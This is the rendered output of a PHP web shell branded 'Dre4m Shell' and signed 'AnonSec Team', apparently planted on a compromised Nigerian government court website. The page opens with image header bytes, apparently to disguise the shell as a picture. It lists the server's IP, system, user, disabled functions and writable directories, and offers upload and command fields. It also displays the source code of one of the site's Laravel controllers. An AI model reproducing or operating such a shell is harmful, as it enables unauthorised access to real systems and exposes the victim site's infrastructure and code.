ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.128.255.53
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/ClassificationController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Http\Requests;
use App\Http\Controllers;
use Auth;
use DB;

class ClassificationController extends ParentController
{
    public function create()
   {
	    $data['classname'] = DB::table('tbladmincode')
			->select('codeID', 'addressName')
	    	->orderBy('addressName', 'Asc')
			->get();
   	    return view('classification.classcode', $data);
   }
   
   public function store(Request $request)
    { 
		$this->validate($request, [
			'name'     => 'required|string',
			'subhead'         => 'required|numeric',
			'classification'  => 'required|numeric',
		]);
		$addressName      = ($request['name']);
		$subhead          = trim($request['subhead']);
		$classification   = trim($request['classification']);
		$action           = trim($request['action']);
		$codeID           = trim($request['findRecord']);
		if (is_null(DB::table('tbladmincode')->where('codeID', '=', $codeID)->first())) {
			DB::table('tbladmincode')->insert(array( 
				'addressName' => $addressName,
				'subhead'     => $subhead, 
				'classcode'   => $classification	
			));
			$this->addLog('New classification code added');
			return back()->with('msg', 'New Classification Code successfully added!');
		}else{
			$values = array( 
				'addressName' => $addressName,
				'subhead'     => $subhead,
				'classcode'   => $classification
			);
			DB::table('tbladmincode')->where('codeID', '=', $codeID )->update($values);
			$this->addLog('New classification code updated');
			return back()->with('msg', 'New Classification Code successfully Updated!');

		}
    }

	public function findData(Request $request)
    {    	
    	$this->validate($request, [
    		'findRecord' => 'required|numeric',
    	]);
		$codeID = $request->input('findRecord');
		$data = DB::table('tbladmincode')
			  ->select('addressName', 'subhead', 'classcode')
			  ->where('codeID', '=', $codeID)
			  ->first();
		return response()->json($data);
    }
}

Anon7 - 2022
AnonSec Team